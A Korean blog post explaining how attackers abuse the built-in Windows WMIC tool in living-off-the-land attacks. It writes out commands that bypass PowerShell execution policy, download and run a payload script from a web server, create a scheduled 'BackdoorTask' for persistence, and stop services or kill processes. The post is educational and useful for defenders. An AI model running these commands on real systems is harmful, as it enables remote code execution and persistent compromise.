콤푸타/해킹&보안

[windows] 윈도우 해킹(1), WMIC

어둠의다크 2024. 11. 29. 16:40
[windows] WMIC 사용하기
[windows] 윈도우 해킹(1), WMIC

 

1. LotL 이란..

 LotL 공격은 시스템에 미리 설치되어있는 도구를 공격에 활용하는 기법을 의미한다. 파워쉘을 통해 시스템 정보를 탈취하거나 또는 fileless 형태로 프로세스나 스레드를 인젝션 하거나, 리버스 쉘을 연결하는 등 다양한 공격이 수행될 수 있다. 

 사고 분석을 하다보면 WMIC, PSEXEC, Powershell 등이 악용되는 경우가 굉장히 많다. 공격자들이 별다른 노력을 들이지 않고도 사용할 수 있기 때문이다. 

 

2. 공격에 활용될 수 있는 기능들

a. wmic process call create <command>

 위 기능으로 파워쉘 명령을 실행할 수 있다. 다음 명령을 한번 실행 해 보았다.

wmic process call create "powershell -nop -executionpolicy bypass -c calc.exe"

 내 로컬 컴퓨터에 웹서버를 열고 netstat.ps1 이라는 악성 파일을 생성해두었다. 이후 아래 명령을 수행하면

wmic process call create "powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://localhost:8000/downloadfile/netstat.ps1 -OutFile C:/users/$env:USERNAME/desktop/payload.ps1; powershell.exe -executionpolicy bypass c:/users/$env:USERNAME/desktop/payload.ps1"

 아래 동영상과 같이 웹 프로토콜을 통해 페이로드 파일이 다운로드 되고 실행되는 것을 볼 수 있다!

 파워쉘 코드가 실행 가능한 시점에서 공격자가 의도하는 모든 행위가 수행가능하다 볼 수있다.

 

b. 서비스 컨트롤

 wmic를 통해 서비스 정보를 확인하거나 중지할 수 있다.

# running 상태인 서비스의 name, state, started 확인
wmic service where "<1>='<2>'" get name,state,started

# 서비스 중지
wmic service where '<1>="<2>"' call stopservice

 

c. 작업 스케줄 생성

 작업 스케쥴을 생성해 persistance를 확보하려 할수있다.

wmic path win32_process call create "schtasks /create /tn BackdoorTask /tr 'C:/users/$env:username/desktop/payload.ps1' /sc daily /st 00:00"

 

d. 프로세스 목록 조회, 종료

 프로세스 목록을 조회하고, 프로세스를 종료할 수 있다.

# 프로세스 목록 조회
wmic process get Name,Description,SessionId,ProcessId /format:list

# 프로세스 종료
wmic process where '<1>="<2>"' call terminate

 

3. 결론

 WMIC는 과거 네트워크를 통해 컴퓨터를 관리하기 위해 사용하던 도구로 이제 지원이 중단되었다. 하지만 여전히 오래된 컴퓨터에서는 동작할 수 있다. 또 최신 OS에서도 동작이 가능할 수 있다. 실제로 필자의 OS는 윈도우 11이지만 잘 동작한다.

 공격자는 WMIC를 악용해 악의적인 임의코드를 실행하거나 프로세스를 생성할 수 있다. 특히 node 를 타고 원격지 PC를 대상으로도 공격이 가능하기 때문에 매우 위험하다.

 여러분 나쁜짓은 안됩니다. 해킹하지마세요!